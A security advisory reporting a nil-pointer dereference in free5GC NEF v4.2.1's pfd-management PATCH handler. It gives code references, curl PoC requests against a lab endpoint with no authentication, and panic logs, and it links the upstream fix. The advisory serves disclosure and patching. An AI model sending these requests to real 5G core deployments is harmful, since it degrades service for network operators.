free5GC's NEF 3gpp-pfd-management PATCH applications/{appId} panics on UDR access failure due to nil ProblemDetails dereference

### Summary free5GC's NEF PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns err != nil together with a nil *ProblemDetails. The handler's errPfdData != nil branch builds its own problemDetailsErr correctly, but immediately after it reads problemDetails.Cause (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into HTTP 500, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing.

This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable.

The HTTP request itself in v4.2.1 is reachable without an Authorization header because the underlying NEF 3gpp-pfd-management route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end.

Details

Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.1 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-21 (container log timestamp 2026-03-21T03:06:36Z) - NEF endpoint: http://10.100.200.19:8000

Vulnerable handler logic in PatchIndividualApplicationPFDManagement (paraphrased): ``go pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID) switch { case problemDetails != nil: ... case errPfdData != nil: problemDetailsErr := &models.ProblemDetails{ Status: http.StatusInternalServerError, Detail: "Query to UDR failed", } c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) // <-- nil deref c.JSON(int(problemDetailsErr.Status), problemDetailsErr) return } ``

In the errPfdData != nil branch, problemDetails is by construction nil (otherwise the first case would have matched). Reading problemDetails.Cause panics with runtime error: invalid memory address or nil pointer dereference. The intended value is presumably problemDetailsErr.Cause -- the locally constructed problem-details struct.

Code evidence (paths in free5gc/nef): - Patch handler core path: - NFs/nef/internal/sbi/processor/pfd.go:563 - NFs/nef/internal/sbi/processor/pfd.go:610 - Panic site (nil-deref on problemDetails.Cause): - NFs/nef/internal/sbi/processor/pfd.go:622 - Route exposure / dispatch: - NFs/nef/internal/sbi/api_pfd.go:168 - NFs/nef/internal/sbi/api_pfd.go:188

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures.

1. Create an AF context (no Authorization header): `` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-npd3","anyUeInd":true}' ``

2. Create a PFD-management transaction: `` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}' ``

3. Make UDR access fail (lab simulation): `` docker stop nrf ``

4. Trigger the panic with one PATCH: `` curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \ -H 'Content-Type: application/json' \ --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}' ``

HTTP/1.1 500 Internal Server Error
Content-Length: 0

5. NEF container logs (docker logs --since 2026-03-21T03:06:36Z nef) confirm the nil-deref panic at pfd.go:622 inside PatchIndividualApplicationPFDManagement: `` [INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3] [ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement .../pfd.go:622 github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement .../api_pfd.go:188 [INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 | ``

6. Restore for further testing: `` docker start nrf ``

Impact

NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the errPfdData != nil branch reads problemDetails.Cause even though problemDetails is nil by construction in that branch (the prior case already matched the non-nil case). The intended target was the locally constructed problemDetailsErr.Cause.

Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns 500 (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22